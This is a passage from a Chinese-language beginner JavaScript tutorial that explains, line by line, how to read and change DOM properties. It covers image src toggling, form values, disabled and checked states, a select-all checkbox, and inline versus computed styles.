第九行到第十六行:点击图片切换 src 属性的核心代码 这一段是整个示例的核心,我们把它拆成每一行,讲透每一个字符的逻辑,包括 if 判断、字符串方法、赋值操作,没有任何跳步。
img.onclick = function () { if (img.src.lastIndexOf('rose.jpg') !== -1) { img.src = './rose2.png'; } else { img.src = './rose.jpg'; } }- 第一行:
img.onclick = function () { ... }:给 img 元素注册点击事件,和我们之前讲的按钮点击事件逻辑完全一致。给 img 的 onclick 属性赋值一个匿名函数,当图片被点击时,浏览器会自动执行这个函数里的代码。 - 第二行:
if (img.src.lastIndexOf('rose.jpg') !== -1) {:这是 if 条件判断语句,我们把它拆成 3 个部分,每个部分都讲透:img.src:我们前面讲过,它的值是图片的完整绝对 URL 字符串,比如http://127.0.0.1:5500/rose.jpg。.lastIndexOf('rose.jpg'):这是 JS 里字符串对象自带的一个方法,我们把它的底层逻辑讲透:lastIndexOf()方法的作用是:从字符串的末尾往前查找,看这个字符串里,有没有包含你传入的子字符串。- 如果找到了,就返回这个子字符串在原字符串里最后一次出现的位置索引 (索引从 0 开始);如果没找到,就固定返回
-1。 - 举个例子:字符串
http://127.0.0.1:5500/rose.jpg,调用lastIndexOf('rose.jpg'),会找到rose.jpg在字符串里的起始位置,返回对应的索引数字,肯定不是 - 1;如果字符串是http://127.0.0.1:5500/rose2.png,调用lastIndexOf('rose.jpg'),找不到对应的子串,就会返回 - 1。 - 新手疑问:为什么不用
indexOf(),要用lastIndexOf()?其实在这个场景里,两个方法都可以,因为我们只需要判断 "有没有包含",不管它在什么位置。indexOf()是从前往后找,lastIndexOf()是从后往前找,只要找到了,都不会返回 - 1,没找到都返回 - 1。
!== -1:这是 JS 里的不全等运算符,用来判断左边的值,是不是不等于右边的 - 1。- 整个条件的完整逻辑:如果 img.src 里包含了 'rose.jpg',那么 lastIndexOf 返回的数字就不等于 - 1,条件成立,执行 if 大括号里的代码;如果不包含,lastIndexOf 返回 - 1,条件不成立,执行 else 大括号里的代码。
- 第三行:
img.src = './rose2.png';:当 if 条件成立时,执行这一行代码。也就是当前图片是 rose.jpg 的时候,把 img 的 src 属性,改成./rose2.png。- 这里的
./表示当前 HTML 文件所在的目录,也就是和 HTML 文件同级的 rose2.png 图片。 - 当我们给 img.src 赋值新的路径时,浏览器会立刻做这几件事:1. 更新 img 元素对象的 src 属性;2. 同步更新 HTML 标签上的 src 属性;3. 立刻向服务器发起请求,加载新的图片文件;4. 加载完成后,重新渲染页面,把新的图片显示出来。
- 这里的
- 第四行:
} else {:else 分支,也就是 if 条件不成立的时候,执行这里的代码。也就是当前图片不是 rose.jpg(已经是 rose2.png 了)的时候,执行 else 里的代码。 - 第五行:
img.src = './rose.jpg';:else 分支里的代码,把 img 的 src 属性,改回 rose.jpg,浏览器会重新加载原来的图片,切换回去。 - 第六行、第七行:
}:闭合 else 分支和匿名函数。
- 第一行:
2.2.1 新手必踩的属性操作坑 全解析
- 坑 1:路径判断错误,导致图片切换失效 很多新手会写
if (img.src === 'rose.jpg'),然后发现条件永远不成立,图片切换不了。这是因为 img.src 返回的是完整的绝对 URL,不是你写的相对路径rose.jpg,所以绝对不可能相等,条件永远不成立。- 解决方案:就是我们示例里的写法,用
indexOf()或者lastIndexOf(),判断 URL 里有没有包含对应的文件名,而不是直接全等判断。
- 解决方案:就是我们示例里的写法,用
- 坑 2:属性名大小写错误,导致读取不到值 HTML 的属性名是不区分大小写的,但是 JS 里的对象属性名是区分大小写的。很多新手会写
img.Src、img.ALT,然后发现读取不到值,因为 JS 里只有img.src、img.alt,大小写错了,就会读取到 undefined。- 解决方案:JS 里的属性名,全部用小写,或者严格按照驼峰命名法,和 HTML 里的属性名保持一致。
- 坑 3:给布尔类型的属性赋值字符串,导致失效 有一些标准属性是布尔类型的,比如
disabled、checked、selected,它们的值只有 true 和 false。很多新手会写img.disabled = 'true';,虽然有时候会生效,但这是不规范的,JS 会把非空字符串隐式转换成 true,如果你写img.disabled = 'false';,JS 会把非空字符串转换成 true,导致元素永远被禁用,和你的预期完全相反。- 解决方案:布尔类型的属性,永远赋值布尔值
true或者false,不要赋值字符串。
- 解决方案:布尔类型的属性,永远赋值布尔值
第三章:获取 / 修改表单元素属性 超极致全解析(增量版)
之前的内容里,我们讲了表单属性的基础用法和三个示例,但没有对每一个表单属性的底层逻辑、每一行代码的执行细节、新手最容易踩的坑做极致解析,现在我们彻底补全,把表单属性的每一个细节都讲透。
3.1 表单元素的核心本质:为什么表单元素有这些特殊属性?
在讲具体的属性之前,我们先把表单元素的本质讲透,让你明白为什么 input、select 这些元素,会有 value、checked、disabled 这些特殊属性,而普通的 div、p 元素没有。
表单元素的核心作用,是收集用户输入的数据,提交给服务器。普通的 div、p 元素,只是用来展示内容的,不需要和用户做数据交互;而表单元素,是用来和用户做数据交互的,用户的所有输入、选择、操作,最终都会转换成一个 "数据值",提交给后端服务器。
所以,浏览器给表单元素设计了这些特殊的属性,本质上就是为了让我们能通过 JS,方便地读取和修改用户输入 / 选择的数据值,以及控制表单元素的交互状态。
所有的表单元素,都可以分成两类:
- 输入类元素 :比如
<input type="text">、<input type="password">、<textarea>,用户可以在里面输入文本,它们的核心属性是value,用户输入的内容,都会存在 value 属性里。 - 选择类元素 :比如
<input type="checkbox">(复选框)、<input type="radio">(单选框)、<select>(下拉框),用户是通过勾选、选择来操作的,它们的核心属性是checked(复选框 / 单选框)、selected(下拉框选项),用来表示用户有没有选中这个选项。
而disabled属性,是所有表单元素都支持的,用来控制元素能不能被用户操作;type属性,是 input 元素的核心,用来决定这个 input 到底是输入框、复选框、单选框还是按钮。
3.2 表单核心属性 逐个超详细解析
我们把每一个表单核心属性,从定义、底层逻辑、用法、注意事项,全部讲透,没有任何遗漏。
3.2.1 value 属性:表单数据的核心中的核心
value 属性是表单元素最重要的属性,没有之一,90% 的表单操作,都是在操作 value 属性。我们把它的所有细节讲透。
1. value 属性的底层定义
对于表单元素来说,value属性表示的是这个表单元素当前的 "数据值",也就是用户提交表单时,会发送给服务器的那个值。
不同类型的表单元素,value 属性的含义略有不同:
- 文本输入框(type="text")、密码框(type="password")、文本域(textarea):value 属性的值,就是用户在输入框里输入的文本内容。用户在输入框里打字,本质上就是在实时修改这个元素的 value 属性;反过来,你用 JS 修改 value 属性,输入框里显示的内容,也会立刻同步更新。
- 按钮(type="button"、type="submit"、type="reset"):value 属性的值,就是按钮上显示的文字。
- 复选框 / 单选框 :value 属性的值,是这个选项提交给服务器的 "真实值",和用户看到的文字无关。比如你写了
<input type="checkbox" value="apple">苹果,用户勾选了这个选项,提交给服务器的就是apple,而不是 "苹果" 这两个字。 - 下拉框选项(option):value 属性的值,是这个选项提交给服务器的真实值,和 option 标签里的文本无关。
2. 最核心的铁则:value 属性的值,永远是字符串类型!
这是表单操作里,新手最容易踩、踩得最多的坑,没有之一。我们必须把这个铁则,用最大的字号、最详细的解析,刻在你的脑子里:无论你在 value 里写的是数字、布尔值,还是用户输入的是数字,你用 JS 读取到的 value 属性的值,永远是字符串(String)类型,绝对不会是数字(Number)类型,也不会是布尔类型!
我们举个最经典的例子:
<input type="text" value="0" id="numInput">
<script>
var input = document.getElementById('numInput');
console.log(input.value); // 打印出来是 "0",不是 0
console.log(typeof input.value); // 打印 "string",绝对不是 "number"
</script>
哪怕你在 HTML 里写的 value 是0,哪怕用户在输入框里输入的是123,你读取到的,永远是带引号的字符串"0"、"123",而不是数字。
3. 为什么会这样?底层原因解析
这是因为 HTTP 协议在提交表单数据的时候,所有的数据都是以字符串的形式传输的,不管你输入的是数字还是文字,服务器收到的都是字符串。所以浏览器在设计 DOM 的时候,就把表单元素的 value 属性,统一设计成了字符串类型,和 HTTP 协议的传输格式保持一致。
4. 新手最经典的错误:直接用 value 做数学运算
很多新手会写这样的代码:
<input type="text" value="0" id="numInput">
<button id="btn">+1</button>
<script>
var input = document.getElementById('numInput');
var btn = document.getElementById('btn');
btn.onclick = function () {
input.value = input.value + 1;
}
</script>
新手预期的效果是:点击按钮,输入框里的数字从 0 变成 1,再点变成 2。但实际运行的效果是:第一次点击变成01,第二次变成011,第三次变成0111,无限拼接字符串,和预期完全相反。
我们把底层执行逻辑讲透,你就明白为什么会这样:
- 读取
input.value,得到的是字符串"0"。 - 执行
"0" + 1,JS 里的+运算符,有两个作用:如果两边都是数字,就是数学加法;如果有一边是字符串,就是字符串拼接。 - 这里左边是字符串
"0",右边是数字1,JS 会自动把数字1转换成字符串"1",然后做字符串拼接,得到"01"。 - 把
"01"赋值给input.value,输入框里就显示01。
这就是为什么我们之前的计数器示例里,必须先把 value 转换成数字,再做加法,这是表单操作最基础、最核心的知识点,绝对不能忘。
5. 字符串转数字的 4 种方法 全解析
我们把之前提到的字符串转数字的方法,每一个都讲透,告诉你它们的区别和适用场景:
+ 字符串:正号转换法 就是我们示例里用的var num = +text.value;,在字符串前面加一个正号。- 原理:正号运算符会强制把后面的内容,转换成数字类型。
- 优点:写法最简洁,代码最短。
- 缺点:如果字符串里有非数字的内容,会返回 NaN(Not a Number,不是一个数字),比如
+"123abc"会返回 NaN。 - 适用场景:你确定字符串里只有数字,没有其他内容的时候。
Number(字符串):标准转换法 写法是var num = Number(text.value);,用 JS 内置的 Number 构造函数来转换。- 原理:和正号转换法完全一致,底层逻辑是一样的,只是写法不同。
- 优点:语义更清晰,别人一看就知道你是在把字符串转成数字。
- 缺点:和正号转换法一样,非纯数字字符串会返回 NaN。
- 适用场景:团队开发,需要代码语义更清晰的时候。
parseInt(字符串):整数转换法 写法是var num = parseInt(text.value);,用来把字符串转换成整数。- 原理:从字符串的第一个字符开始,从左往右读取,直到遇到非数字的字符为止,把前面读取到的数字部分,转换成整数。
- 特点:会自动忽略小数部分,只保留整数;如果第一个字符就不是数字,返回 NaN。
- 例子:
parseInt("123.45")返回 123;parseInt("123abc")返回 123;parseInt("abc123")返回 NaN。 - 适用场景:你只需要整数,或者字符串里有数字加其他字符,只需要提取前面的整数部分的时候。
parseFloat(字符串):浮点数转换法 写法是var num = parseFloat(text.value);,用来把字符串转换成浮点数(小数)。- 原理:和 parseInt 类似,从左往右读取,直到遇到非数字的字符为止,会保留小数点和小数部分。
- 例子:
parseFloat("123.45")返回 123.45;parseFloat("123.45abc")返回 123.45。 - 适用场景:需要处理小数,比如价格、金额、身高体重等场景。
3.2.2 disabled 属性:控制表单元素的禁用状态
1. disabled 属性的底层定义
disabled 是一个布尔类型的属性,值只有true和false。当它的值为true时,表单元素会进入禁用状态:
- 元素会变成灰色,视觉上告诉用户这个元素不能操作。
- 用户无法点击这个元素,无法在输入框里输入内容,无法勾选复选框。
- 这个元素的 value 值,不会在表单提交时,发送给服务器。
- 元素不会触发任何鼠标、键盘事件。
当它的值为false时,元素处于正常的可用状态,用户可以正常操作。
2. 用法示例与解析
最经典的场景:"用户必须勾选同意用户协议,才能点击注册按钮"。
<input type="checkbox" id="agree">我已阅读并同意用户协议
<br>
<button id="register" disabled>注册</button>
<script>
var agree = document.getElementById('agree');
var registerBtn = document.getElementById('register');
agree.onclick = function () {
// 当用户勾选复选框时,把注册按钮的disabled设为false,启用按钮
registerBtn.disabled = !this.checked;
}
</script>
- 解析:HTML 里的 button 标签,我们直接加了
disabled属性,让按钮初始是禁用状态。 - 当用户勾选复选框时,
this.checked是 true,!this.checked是 false,所以registerBtn.disabled = false,按钮变成可用状态。 - 当用户取消勾选时,
this.checked是 false,!this.checked是 true,按钮重新变成禁用状态。 - 这是实际开发中非常常用的场景,比如表单验证、防止重复提交等,都会用到 disabled 属性。
3. 新手必踩的坑
很多新手会写registerBtn.disabled = 'disabled';,给 disabled 赋值字符串,虽然浏览器会把非空字符串转换成 true,让按钮禁用,但这是不规范的。如果你写registerBtn.disabled = 'false';,浏览器会把非空字符串转换成 true,按钮还是禁用的,和你的预期完全相反。
- 解决方案:disabled 是布尔属性,永远赋值
true或者false,不要赋值字符串。
3.2.3 checked 属性:复选框 / 单选框的选中状态
1. checked 属性的底层定义
checked 是专门给<input type="checkbox">(复选框)和<input type="radio">(单选框)设计的布尔类型属性,值只有true和false。
- 当
checked = true时,这个复选框 / 单选框是被勾选的状态。 - 当
checked = false时,是未被勾选的状态。
用户点击复选框 / 单选框,本质上就是在切换这个 checked 属性的值;反过来,你用 JS 修改 checked 属性的值,页面上的勾选状态也会立刻同步更新。
2. 核心注意事项
- checked 属性的值,只和
true/false有关,和你在 HTML 里写的checked="checked"、checked="true"无关。哪怕你在 HTML 里写checked="false",浏览器也会把这个复选框当成勾选状态,因为只要 HTML 标签里有 checked 属性,不管值是什么,初始状态都是勾选的。只有用 JS 修改 checked 属性的布尔值,才能精准控制它的状态。 - 对于单选框(radio),同一组 name 相同的单选框,同一时间只能有一个的 checked 属性为 true,当你把其中一个设为 true 时,其他同组的会自动变成 false,这是浏览器的默认行为。
3.2.4 selected 属性:下拉框选项的选中状态
selected 是专门给下拉框<select>里的<option>标签设计的布尔属性,值只有true和false。
- 当
selected = true时,这个 option 是被选中的状态,会显示在下拉框的顶部。 - 当
selected = false时,是未被选中的状态。
用法和 checked 属性完全一致,你可以用 JS 读取 option 的 selected 属性,判断用户有没有选中这个选项,也可以修改它的值,动态切换下拉框的选中项。
3.2.5 type 属性:input 元素的类型
type 是<input>标签的核心属性,它决定了这个 input 元素到底是什么,是输入框、密码框、复选框、单选框、按钮,还是文件选择框。
HTML 里的 input 标签,有几十种 type 类型,常用的有:
text:单行文本输入框password:密码输入框,输入的内容会显示成圆点checkbox:复选框radio:单选框button:普通按钮submit:表单提交按钮reset:表单重置按钮file:文件选择框number:数字输入框,只能输入数字date:日期选择框email:邮箱输入框,会自动验证邮箱格式
你可以用 JS 读取 input 元素的 type 属性,知道它是什么类型的元素;也可以用 JS 修改 type 属性,动态切换 input 的类型,最经典的场景就是 "显示 / 隐藏密码":
<input type="password" id="pwdInput" placeholder="请输入密码">
<button id="toggleBtn">显示密码</button>
<script>
var pwdInput = document.getElementById('pwdInput');
var toggleBtn = document.getElementById('toggleBtn');
toggleBtn.onclick = function () {
if (pwdInput.type === 'password') {
pwdInput.type = 'text';
this.innerText = '隐藏密码';
} else {
pwdInput.type = 'password';
this.innerText = '显示密码';
}
}
</script>
- 解析:初始时,input 的 type 是 password,输入的内容是隐藏的。点击按钮,把 type 改成 text,密码就显示出来了,按钮文字变成 "隐藏密码";再点一下,改回 password,密码重新隐藏。
- 这是现在所有网站的登录、注册页面,都会做的一个功能,核心就是修改 input 的 type 属性。
3.3 全选 / 取消全选案例 逐行极致解析
之前的内容里,我们给了全选案例的代码,但没有对 for 循环、checkGirls 函数的每一步执行逻辑做极致拆解,现在我们把这个案例的每一行代码、每一次循环、每一个判断,都讲得明明白白,没有任何跳步。
全选案例完整代码
<input type="checkbox" id="all">我全都要 <br>
<input type="checkbox" class="girl">貂蝉 <br>
<input type="checkbox" class="girl">小乔 <br>
<input type="checkbox" class="girl">安琪拉 <br>
<input type="checkbox" class="girl">妲己 <br>
<script>
// 1. 获取到元素
var all = document.querySelector('#all');
var girls = document.querySelectorAll('.girl');
// 2. 给 all 注册点击事件, 选中/取消所有选项
all.onclick = function () {
for (var i = 0; i < girls.length; i++) {
girls[i].checked = all.checked;
}
}
// 3. 给 girl 注册点击事件
for (var i = 0; i < girls.length; i++) {
girls[i].onclick = function () {
// 检测当前是不是所有的 girl 都被选中了.
all.checked = checkGirls(girls);
}
}
// 4. 实现 checkGirls
function checkGirls(girls) {
for (var i = 0; i < girls.length; i++) {
if (!girls[i].checked) {
// 只要一个 girl 没被选中, 就认为结果是 false(找到了反例)
return false;
}
}
// 所有 girl 中都没找到反例, 结果就是全选中
return true;
}
</script>
逐行逐逻辑极致全解析
-
HTML 部分解析
- 第一行:
<input type="checkbox" id="all">我全都要,这是全选复选框,我们给它加了 id="all",方便获取。 - 第二行到第五行:四个普通复选框,我们给它们加了相同的 class="girl",这样我们可以用 querySelectorAll 一次性把它们全部获取到。
- 第一行:
-
JS 第一部分:获取元素
var all = document.querySelector('#all'); var girls = document.querySelectorAll('.girl');- 第一行:
document.querySelector('#all'),用 id 选择器,获取全选复选框的元素对象,存到 all 变量里。注意 id 选择器前面要加 #,这是 CSS 选择器的语法。 - 第二行:
document.querySelectorAll('.girl'),这是我们第一次详细解析这个方法,我们把它讲透:querySelectorAll是 document 对象的方法,作用是「通过 CSS 选择器,找到所有匹配的元素,返回一个 NodeList 伪数组」。- 括号里的
.girl是 class 选择器,匹配所有 class 为 girl 的元素。 - 什么是伪数组?伪数组,本质上是一个对象,它有和数组一样的
length属性,也可以通过下标[0]、[1]来访问里面的元素,但是它没有数组的那些方法,比如 push、pop、forEach 等(ES6 之后可以用 Array.from 转换成真正的数组)。 - 在这个案例里,我们有 4 个 class 为 girl 的复选框,所以 girls 变量里存的伪数组,长度是 4,
girls[0]是貂蝉对应的复选框,girls[1]是小乔,girls[2]是安琪拉,girls[3]是妲己。
- 第一行:
-
JS 第二部分:全选框控制普通复选框的事件
all.onclick = function () { for (var i = 0; i < girls.length; i++) { girls[i].checked = all.checked; } }这一段是全选功能的核心,我们把 for 循环的每一步执行都拆解出来,彻底讲透:
- 第一行:给全选框 all 注册点击事件,当用户点击全选框时,执行函数里的代码。
- 第二行 :for 循环,我们把 for 循环的三个部分讲透:
var i = 0:循环的初始条件,声明一个循环变量 i,初始值是 0。i 就是我们用来访问伪数组里元素的下标。i < girls.length:循环的继续条件,只要这个条件成立,循环就会继续执行。girls.length 是 4,所以只要 i 小于 4,循环就继续。i++:循环的递增条件,每一次循环结束后,i 的值加 1。
- for 循环的完整执行步骤拆解(以 4 个复选框为例) :
- 第一次循环 :i=0,判断 0 < 4,条件成立,执行循环体里的代码。
girls[0]是貂蝉的复选框,执行girls[0].checked = all.checked;,把貂蝉复选框的 checked 值,设置成和全选框的 checked 值完全一样。循环体执行完,i++,i 变成 1。 - 第二次循环 :i=1,判断 1 < 4,条件成立,执行循环体。
girls[1]是小乔的复选框,把它的 checked 值设成和全选框一样。i++,i 变成 2。 - 第三次循环 :i=2,判断 2 < 4,条件成立,执行循环体。
girls[2]是安琪拉的复选框,同步 checked 值。i++,i 变成 3。 - 第四次循环 :i=3,判断 3 < 4,条件成立,执行循环体。
girls[3]是妲己的复选框,同步 checked 值。i++,i 变成 4。 - 循环结束:i=4,判断 4 < 4,条件不成立,循环终止。
- 第一次循环 :i=0,判断 0 < 4,条件成立,执行循环体里的代码。
- 核心逻辑解析 :循环体里的
girls[i].checked = all.checked;,这是一种 "赋值同步" 的思想,非常简洁高效。不管全选框是勾选还是取消,我们都不用做 if 判断,直接把全选框的 checked 值,赋值给每一个普通复选框的 checked 属性,让它们和全选框保持完全一致。- 当用户勾选全选框时,
all.checked是 true,所有普通复选框的 checked 都被设成 true,全部勾选。 - 当用户取消全选框时,
all.checked是 false,所有普通复选框的 checked 都被设成 false,全部取消。
- 当用户勾选全选框时,
-
JS 第三部分:普通复选框反向控制全选框的事件
for (var i = 0; i < girls.length; i++) { girls[i].onclick = function () { all.checked = checkGirls(girls); } }这一段是反向联动的核心,我们讲透每一步逻辑:
- 外层 for 循环 :和之前的 for 循环一样,遍历 girls 伪数组里的 4 个复选框,给每一个复选框,都注册一个点击事件。
- 第一次循环,i=0,给
girls[0](貂蝉)注册点击事件。 - 第二次循环,i=1,给
girls[1](小乔)注册点击事件。 - 第三次循环,i=2,给
girls[2](安琪拉)注册点击事件。 - 第四次循环,i=3,给
girls[3](妲己)注册点击事件。
- 第一次循环,i=0,给
- 事件处理函数 :每一个普通复选框被点击时,都会执行这个函数里的代码。
- 核心代码:
all.checked = checkGirls(girls);。 - 执行逻辑:调用我们写的 checkGirls 函数,把 girls 伪数组传进去,这个函数会返回一个布尔值:如果所有普通复选框都被选中了,返回 true;否则返回 false。然后把这个返回值,赋值给全选框的 checked 属性。
- 也就是说:如果所有普通复选框都被选中了,全选框就自动勾选;如果有任何一个没被选中,全选框就自动取消勾选。
- 核心代码:
- 外层 for 循环 :和之前的 for 循环一样,遍历 girls 伪数组里的 4 个复选框,给每一个复选框,都注册一个点击事件。
-
JS 第四部分:checkGirls 辅助函数 极致解析
function checkGirls(girls) { for (var i = 0; i < girls.length; i++) { if (!girls[i].checked) { return false; } } return true; }这个函数是整个反向联动的核心,也是新手最难理解的部分,我们把它的每一步执行逻辑、return 的作用,都彻底讲透。
- 函数定义 :
function checkGirls(girls) { ... },我们声明了一个叫 checkGirls 的函数,它接收一个参数 girls,也就是我们的复选框伪数组。 - 函数的作用:检查传入的所有复选框,是不是全部都被选中了。如果全部选中,返回 true;只要有一个没选中,返回 false。
- 核心逻辑:找反例法。我们要证明 "所有都选中",很难直接证明,但是要证明 "不是所有都选中",只要找到一个没选中的,就可以了。这是编程里非常经典的逻辑思想,我们把它拆解得明明白白。
- 函数的完整执行步骤拆解,分两种场景:
场景 1:有一个复选框没被选中(比如貂蝉没选中,其他都选中了)
- 函数执行,进入 for 循环,i 初始值 0。
- 第一次循环:i=0,
girls[0]是貂蝉的复选框,它的 checked 是 false。 - 执行 if 判断:
!girls[i].checked,也就是!false,结果是 true,if 条件成立,进入 if 大括号。 - 执行
return false;:这里的 return,有两个核心作用:第一,把 false 这个值,作为函数的返回值,返回给调用它的地方;第二,立刻终止函数的执行,后面的所有代码都不会再执行了,for 循环也会立刻停止。 - 函数执行结束,返回 false。全选框的 checked 被设成 false,自动取消勾选。
场景 2:所有复选框都被选中了
- 函数执行,进入 for 循环,i 初始值 0。
- 第一次循环:i=0,
girls[0].checked是 true,!true是 false,if 条件不成立,不执行 return。循环体结束,i++,i 变成 1。 - 第二次循环:i=1,
girls[1].checked是 true,if 条件不成立,i++,i 变成 2。 - 第三次循环:i=2,
girls[2].checked是 true,if 条件不成立,i++,i 变成 3。 - 第四次循环:i=3,
girls[3].checked是 true,if 条件不成立,i++,i 变成 4。 - for 循环结束:i=4,不满足 i < 4 的条件,循环正常终止,没有执行过 return false。
- 执行循环后面的
return true;:函数返回 true,全选框的 checked 被设成 true,自动勾选。
- 函数定义 :
-
新手核心误区解析 :很多新手会问,为什么不在 for 循环里判断 "如果选中,就返回 true"?比如写:
// 错误写法 function checkGirls(girls) { for (var i = 0; i < girls.length; i++) { if (girls[i].checked) { return true; } } return false; }这种写法是完全错误的,我们讲透为什么:
- 当 i=0 时,只要第一个复选框是选中的,就会立刻执行
return true,函数结束,后面的复选框根本不会检查。哪怕后面三个都没选中,函数也会返回 true,全选框会被勾选,和我们的需求完全相反。 - 这就是为什么我们要 "找反例":只有找到没选中的,才返回 false;只有循环完所有的,都没找到反例,才返回 true。
- 当 i=0 时,只要第一个复选框是选中的,就会立刻执行
第四章:获取 / 修改样式属性 超极致全解析(增量版)
之前的内容里,我们讲了行内样式和类名样式的基础用法,但没有对 CSS 样式与 DOM 的映射关系、style 对象的本质、驼峰命名的底层原因、className 的底层逻辑,做极致解析,现在我们彻底补全,把样式操作的每一个细节都讲透。
4.1 样式操作的底层本质:CSSOM 与 DOM 的关联
在讲具体的样式操作之前,我们先把浏览器的样式渲染底层逻辑讲透,让你明白为什么我们可以用 JS 修改元素的样式。
和 HTML 会被解析成 DOM 树一样,浏览器加载 CSS 代码的时候,也会把 CSS 解析成一个树形结构的对象,叫做CSS 对象模型(CSS Object Model),简称 CSSOM。
DOM 树和 CSSOM 树是关联在一起的,浏览器渲染页面的时候,会把 DOM 树和 CSSOM 树结合起来,生成渲染树,然后把页面画在屏幕上。
我们用 JS 操作元素的样式,本质上就是修改 CSSOM 树里的样式规则,或者修改元素的行内样式属性,让浏览器重新生成渲染树,重新渲染页面。
我们之前讲的两种样式操作方式,本质上对应两种修改 CSSOM 的方式:
- 行内样式操作(element.style):直接修改元素的行内样式属性,行内样式的优先级是最高的,会覆盖其他 CSS 样式。
- 类名样式操作(element.className):修改元素的 class 属性,让元素应用不同的 CSS 类选择器对应的样式规则,修改的是 CSSOM 里的样式匹配关系。
4.2 行内样式操作:element.style 全维度极致解析
4.2.1 style 属性的底层本质:CSSStyleDeclaration 对象
我们之前说,element.style可以用来修改行内样式,现在我们把它的底层本质讲透:元素对象的 style 属性,它的值不是一个普通的对象,而是一个CSSStyleDeclaration类型的对象。这个对象是浏览器专门用来表示元素的行内样式的,里面包含了所有的 CSS 属性,作为这个对象的属性。
当你写div.style.fontSize = '20px';的时候,你其实是在给这个CSSStyleDeclaration对象的fontSize属性赋值,浏览器会立刻把这个赋值同步到元素的 HTML style 属性上,同时更新 CSSOM 树,重新渲染页面。
你可以用console.dir(div.style),在控制台里看到这个完整的CSSStyleDeclaration对象,里面有几百个 CSS 属性,所有的 CSS 属性,都在这个对象里有对应的属性。
4.2.2 驼峰命名法的底层原因:为什么 CSS 的短横线要转成驼峰?
这是新手最常问的问题,也是最容易写错的地方,我们把底层原因讲透。
在 CSS 里,属性名是用短横线分隔的,比如font-size、background-color、margin-top。但是在 JS 里,对象的属性名是不能包含短横线-的,因为 JS 会把短横线当成减法运算符。
举个例子:如果你写div.style.font-size = '20px';,JS 会把它解析成div.style.font - size = '20px';,也就是 "用 div.style.font 的值,减去 size 变量的值,然后把结果赋值给字符串 '20px'",这完全是语法错误,浏览器会直接报错。
所以,为了避开这个语法限制,浏览器在把 CSS 属性映射到CSSStyleDeclaration对象上的时候,做了一个转换规则:把 CSS 属性名里的短横线去掉,把短横线后面的第一个字母改成大写,也就是驼峰命名法。
转换规则我们再重复一遍,确保你记牢:
- CSS:
font-size→ JS:fontSize - CSS:
background-color→ JS:backgroundColor - CSS:
border-bottom-width→ JS:borderBottomWidth - CSS:
z-index→ JS:zIndex - CSS:
line-height→ JS:lineHeight
唯一的例外 :CSS 里的float属性,因为float是 JS 里的保留字,所以不能直接用style.float,浏览器把它映射成了style.cssFloat。
4.2.3 逐行代码解析:点击放大字体案例
我们用之前的点击放大字体案例,做逐行逐字符的极致解析,讲透每一个细节。
案例代码
<div style="font-size: 20px; font-weight: 700;">
哈哈
</div>
<script>
var div = document.querySelector('div');
div.onclick = function () {
var curFontSize = parseInt(this.style.fontSize);
curFontSize += 10;
this.style.fontSize = curFontSize + "px";
}
</script>
逐行逐字符全解析
- HTML 部分:
<div style="font-size: 20px; font-weight: 700;">哈哈</div>- 我们给 div 元素,直接写了行内样式
style="font-size: 20px; font-weight: 700;",设置了字体大小 20px,字体粗细 700(加粗)。 - 这里的核心重点:我们必须把样式写在行内的 style 属性里,因为
element.style只能读取和修改行内样式,不能读取 CSS 文件里或者 style 标签里的样式!这是新手最容易踩的坑,我们后面会详细讲。
- 我们给 div 元素,直接写了行内样式
- **JS 第一行:
var div = document.querySelector('div');**获取页面上的 div 元素对象,存到 div 变量里。 - **JS 第二行:
div.onclick = function () { ... }**给 div 注册点击事件,当用户点击 div 里的文字时,执行函数里的代码。 - JS 第三行:
var curFontSize = parseInt(this.style.fontSize);这一行是核心,我们拆成两个部分讲透:this.style.fontSize:this指向触发点击事件的 div 元素,和 div 变量是同一个对象。this.style.fontSize读取 div 的行内样式里的 font-size 属性值,返回的是字符串"20px",不是数字 20。- 这里必须强调:只有行内样式里写了 font-size,这里才能读取到值。如果 font-size 是写在 style 标签里的 CSS 样式,这里读取到的会是空字符串
"",parseInt 之后会得到 NaN,代码就会失效。
parseInt(this.style.fontSize):- 我们之前讲过 parseInt 的作用,从字符串里提取数字部分,把
"20px"转换成数字 20。 - 把转换后的数字 20,存到 curFontSize 变量里。
- 我们之前讲过 parseInt 的作用,从字符串里提取数字部分,把
- JS 第四行:
curFontSize += 10;+=是追加赋值运算符,等价于curFontSize = curFontSize + 10;。- curFontSize 当前的值是 20,加 10 之后,变成 30。
- JS 第五行:
this.style.fontSize = curFontSize + "px";- 这一行是给样式赋值,我们讲透两个核心细节:
- 必须加单位 :CSS 里的 font-size 属性,除了 0 之外,必须带单位,否则样式不会生效。如果你写
this.style.fontSize = 30;,不带 px,浏览器会忽略这个样式,字体大小不会变化。 - 字符串拼接 :
curFontSize + "px",curFontSize 是数字 30,加上字符串"px",JS 会把数字 30 转换成字符串"30",然后拼接成"30px",赋值给this.style.fontSize。
- 必须加单位 :CSS 里的 font-size 属性,除了 0 之外,必须带单位,否则样式不会生效。如果你写
- 赋值之后,浏览器会立刻做这几件事:1. 更新 div 的 style 属性里的 font-size 值;2. 更新 CSSOM 树;3. 重新计算元素的样式和布局;4. 重新渲染页面,div 里的文字就会变大 10px。
- 这一行是给样式赋值,我们讲透两个核心细节:
- JS 第六行:
}:闭合事件处理函数。
4.2.4 行内样式操作的核心限制:只能读取行内样式
这是行内样式操作最核心的限制,也是新手踩坑最多的地方,我们必须反复强调:element.style 只能读取和修改元素的行内样式,也就是写在 HTML 标签的 style 属性里的样式。它绝对不能读取写在<style>标签里、或者外部 CSS 文件里的样式!
举个例子:
<style>
div {
font-size: 20px;
}
</style>
<div>哈哈</div>
<script>
var div = document.querySelector('div');
console.log(div.style.fontSize); // 打印空字符串 "",不是 "20px"
</script>
哪怕 CSS 里设置了 font-size: 20px,只要不是写在行内 style 属性里,div.style.fontSize就只能读取到空字符串,因为它根本访问不到 CSS 文件里的样式规则。
解决方案:读取元素的最终计算样式
如果你想读取元素最终渲染出来的样式,不管这个样式是写在哪里的,你需要用浏览器提供的window.getComputedStyle()方法。
-
用法:
window.getComputedStyle(元素对象).属性名 -
示例:
var div = document.querySelector('div'); var finalStyle = window.getComputedStyle(div); console.log(finalStyle.fontSize); // 打印 "20px",不管样式写在哪里 -
核心注意事项:
window.getComputedStyle()返回的样式对象,是只读的 ,你不能修改它的属性值。你只能用它来读取样式,要修改样式,还是要用element.style或者修改 className。
4.2.5 行内样式操作的新手必踩坑
- 坑 1:忘记转驼峰命名,用了短横线,导致报错 很多新手会写
